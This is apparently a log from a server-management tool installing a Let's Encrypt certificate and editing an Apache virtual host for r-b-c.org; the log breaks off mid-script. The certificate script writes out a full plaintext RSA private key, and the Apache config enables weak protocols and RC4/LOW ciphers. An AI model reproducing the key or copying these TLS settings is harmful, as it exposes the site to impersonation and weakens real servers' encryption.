MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-23 10:34:56: Establishing a connection
2026-05-23 10:34:56: Establishing a connection
2026-05-23 10:34:56: 

PUT: /tmp/pkp553137

#!/bin/bash
if [ -d "/var/www/r-b-c_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-05-23 10:34:56: 

chmod 755 /tmp/pkp553137; /tmp/pkp553137; rm /tmp/pkp553137

2026-05-23 10:34:56: 


1


2026-05-23 10:34:57: Establishing a connection
2026-05-23 10:34:57: 

PUT: /tmp/pkp254813

#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
cat > A8KZL6Vvejj4iVEUn9nenvcw3q5sKd-JiT6FJMwgMPc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
A8KZL6Vvejj4iVEUn9nenvcw3q5sKd-JiT6FJMwgMPc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 A8KZL6Vvejj4iVEUn9nenvcw3q5sKd-JiT6FJMwgMPc
cat > I4neIHL_GCBiTuWqUFo-Ohkd-1J9S1mIgnt9daCQvhQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
I4neIHL_GCBiTuWqUFo-Ohkd-1J9S1mIgnt9daCQvhQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 I4neIHL_GCBiTuWqUFo-Ohkd-1J9S1mIgnt9daCQvhQ


2026-05-23 10:34:57: 

chmod 755 /tmp/pkp254813; /tmp/pkp254813; rm /tmp/pkp254813

2026-05-23 10:34:58: 




2026-05-23 10:35:08: Establishing a connection
2026-05-23 10:35:08: 

PUT: /tmp/pkp636699

#!/bin/bash
mkdir -p "/var/www/r-b-c_www/.well-known/acme-challenge/"
cd "/var/www/r-b-c_www/.well-known/acme-challenge/"
rm A8KZL6Vvejj4iVEUn9nenvcw3q5sKd-JiT6FJMwgMPc
rm I4neIHL_GCBiTuWqUFo-Ohkd-1J9S1mIgnt9daCQvhQ


2026-05-23 10:35:08: 

chmod 755 /tmp/pkp636699; /tmp/pkp636699; rm /tmp/pkp636699

2026-05-23 10:35:08: 




2026-05-23 10:35:08: Establishing a connection
2026-05-23 10:35:09: 

PUT: /tmp/pkp337296

#!/bin/bash
temp_file=$(mktemp)
TARGET=86d2c41eb90f4cb26f05730c2abdf7ea.crt

cat > $temp_file <<'endmsg'
19:6d:24:a1:74:12:c4:46:e4:c6:f5:67:c7:15:5a:0c

-----BEGIN CERTIFICATE-----
MIIE+zCCA+OgAwIBAgISBqa0I386+6Mazdn0c2xCFzjVMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwNTIzMDkzNjM3WhcNMjYwODIxMDkzNjM2WjAUMRIwEAYDVQQD
EwlyLWItYy5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDIGAyr
Whjx0QhsvfiCNYuPl1gnmtcSICIapq0c81935wR0g4xRHJv4+Ny9WM9Z9CQ8zRSy
EO1eIjWx6ybph0BhIA1Iwco4KKWwa4T4XtppT0uPASbMS8JFP/nw69Poae2JUYNq
EROBZGMLa8FTujleztmYc88MU4p9bHM8HjIPdyxj8QuowOKxFry2Z68tUHWnc3vf
UgMYRtk92XNBRJVXkUuDAeZPiCt7QqUogH4YBTm/RtjUrVBA7Jzv1xvEhALUKeEc
1SKIczJ4XKPu5A+9xoEbBx/HJVIDVvP5KvnkFiaSY2uJi1iQIHS5NW1BQ0SgSbv4
JyEKT9UDZqwlOOKlAgMBAAGjggImMIICIjAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0l
BAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUrA+2BJx01fxB
DXZBtC2b6EYBCPMwHwYDVR0jBBgwFoAU56ufDywzoFPTXk94yLKEDjvWkjMwMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEzLmkubGVuY3Iub3Jn
LzAjBgNVHREEHDAagglyLWItYy5vcmeCDXd3dy5yLWItYy5vcmcwEwYDVR0gBAww
CjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMy5jLmxlbmNy
Lm9yZy84Ni5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDLOPcViXyEoURf
W8Hd+8lu8ppZzUcKaQWFsMsUwxRY5wAAAZ5UZypZAAAEAwBHMEUCIQDHXVty7hYV
E0OGSI6Lv4ko5kCxT0K1sbo0NDS41tEduQIgPW7VW6ifYosBKX2K/tOCzHUlUJ+/
LHlh7Yg4ODbHPCgAfgCoJsvjCsY1EkZTP+Bl8U8Z2W4ZCBPEHdlteQCzEjxVJwAA
AZ5UZysqAAgAAAUADCghLwQDAEcwRQIhAPlSlBTZ5DWnWewpvH/3/3mGvvyC1FIV
XuyHt9nKYRAaAiAnHO6ccXPKFlUwZwH7IlEYKMLwI1uLBGfdgewU6UBQpTANBgkq
hkiG9w0BAQsFAAOCAQEAk7K3sTvh8jsnIKjm7DneQqMLxBK7eH2aMOViEyhQOxBu
Bn5qjm1gf0LYVgEOgsLGdJCaP/LjyZWzckBcvBmvWq1xVBI7zHbPaWe3Q4A0+9AR
1bKjhR1ou/E412kg0kLJowdXhdm4Rf77qPPUKo1XnQMWkiY8baByULuNsBRYDn07
KOsmdPWMGvTwbvCZXEwtANmXLy3A6B7tK8Y2t9MtZjxh3LcgNwOUumZ8NzjFeFHh
k1aq2qIpd49DdZQOriSAImPKb25pb/YRt0v73L8SfYaeiqzkwM7QDTRCvdivG6+d
qkqqM7N5AzQC8jl4crNRwvT1gg/NEqW3vs6x5q61Fw==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDIGAyrWhjx0Qhs
vfiCNYuPl1gnmtcSICIapq0c81935wR0g4xRHJv4+Ny9WM9Z9CQ8zRSyEO1eIjWx
6ybph0BhIA1Iwco4KKWwa4T4XtppT0uPASbMS8JFP/nw69Poae2JUYNqEROBZGML
a8FTujleztmYc88MU4p9bHM8HjIPdyxj8QuowOKxFry2Z68tUHWnc3vfUgMYRtk9
2XNBRJVXkUuDAeZPiCt7QqUogH4YBTm/RtjUrVBA7Jzv1xvEhALUKeEc1SKIczJ4
XKPu5A+9xoEbBx/HJVIDVvP5KvnkFiaSY2uJi1iQIHS5NW1BQ0SgSbv4JyEKT9UD
ZqwlOOKlAgMBAAECggEACJkx+C4Ruth8+HFMa8oBwoyiIueOPO7pEESf1UnnDRe+
EwSxI64rTK5jC/b0SB0L7pnwfPtpu90T+h6NCEWB4HqYX4tGVZX3ksZ4CxVGZPad
nFpUELzjrwaiBraXn1nn9XntgAIWWL3X3L6HawHqY7bXVmwJlnHDloKxzABPLedh
auyrUGTD+9RtXqu02kUZ7gzI78tzqRv3i+orubGTdwKYDDal+F1z3zSiauLN+7QN
sCW8nxtAxO9clbHe8wjwFi5I1GbzOAA/rWs36dOFL2olFn19U0NR9tYTaEkVS6Bu
yKKepBt1w4byT00iY0VTRGjDCoidub3Gj2e2fvU38QKBgQDkB771Es+3d3RW2kO6
uriVGtOqVlAuuQRPUKHJ1QIa8yPqqOw0PGwmWk+iDtc3KktmUDsR/+7OTlkDetd9
ORB6Pefnb+U0s1c/+6xdTZz/bRa83mXMttCS5SnzP1qM4pG5QSUns5v0xZ+7JG8F
9RZT1Ax9UmLLxtf/x1kKS8jLNQKBgQDgoxcuvKieRkFGVMJZCCEwDR23tkk2suCU
Ketn5URZkbad11zU6Ud+oFLg9w2e9y0e+hvRqZmuZ19aL03fOrf+YkYn4bmsQHda
zbDb+e9SCuPaRJ9XZ3JKnS8A1FALIcQzxVUlnPn4AZ18uR4muJQQemz45krXz3Sf
vuFlKEw3sQKBgQCFDX/+v9sz0h+wDes3KXxKhDy9R1/B43MAVKwSeJeh4f0zDx3D
3P294zRT+xTYu3UDXg0Zk5xkBJMr1KGoD4Ptz/FguYmkFoDydIc+aesRnzWFPr9n
k8Rf8hdoN68+RXWCAuELKWH2kNmC+N9POpKsly4ycb/z5zJhrI/n0hB3gQKBgQCx
RGI18pDJnb1DB/36Di1KYv9RixrJfG023sGy0jyWxiMq+dl69sABj/j3KF5qVLoZ
mNs9H65z74VSgMPd5dNufhTIwhsocBL/6BOp89jEkG1wP/jSG4MYmGOQLvsfXb0b
8ZwYu4CTEos58kd13PCS9FlsLSdgmIh6y0HI9vz2cQKBgE+g6rDO3eTIDrB/j4Kc
kkLWwWues9Q1CMksnVFDeQUKYxrBa2Cm3WYfEbWLzxnDGlF8mW73IneDPSsRjKCK
QyAx2Vi3RPtP0badJw/z9FMeRtnTz19PKJk7MZ7kvW938FIAglxXf1mnuoEAP9CL
jW7AAXWCT9xx7V2sjJAOIvvu
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-05-23 10:35:09: 

chmod 755 /tmp/pkp337296; /tmp/pkp337296; rm /tmp/pkp337296

2026-05-23 10:35:09: 


dir=/etc/ssl/certs


2026-05-23 10:35:09: 

PUT: /tmp/pkp672955

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/r-b-c_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-05-23 10:35:09: 

chmod 755 /tmp/pkp672955; /tmp/pkp672955; rm /tmp/pkp672955

2026-05-23 10:35:09: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/r-b-c_www_org.conf 37

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_error.log
    SetEnv pkp_uid	59
    SetEnv pkp_owner	rbc
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86d2c41eb90f4cb26f05730c2abdf7ea.crt
    DocumentRoot	/var/www/r-b-c_www
    <Directory /var/www/r-b-c_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/r-b-c/www_secure_access.log combined
    ErrorLog	/var/log/apache2/r-b-c/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-05-23 10:35:09: 

PUT: /tmp/pkp698039

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=r-b-c_www_org.conf
TARGET=/etc/apache2/sites-enabled/r-b-c_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	r-b-c.org
    ServerAlias	www.r-b-c.org
    ServerAdmin	do_not_email@example.com
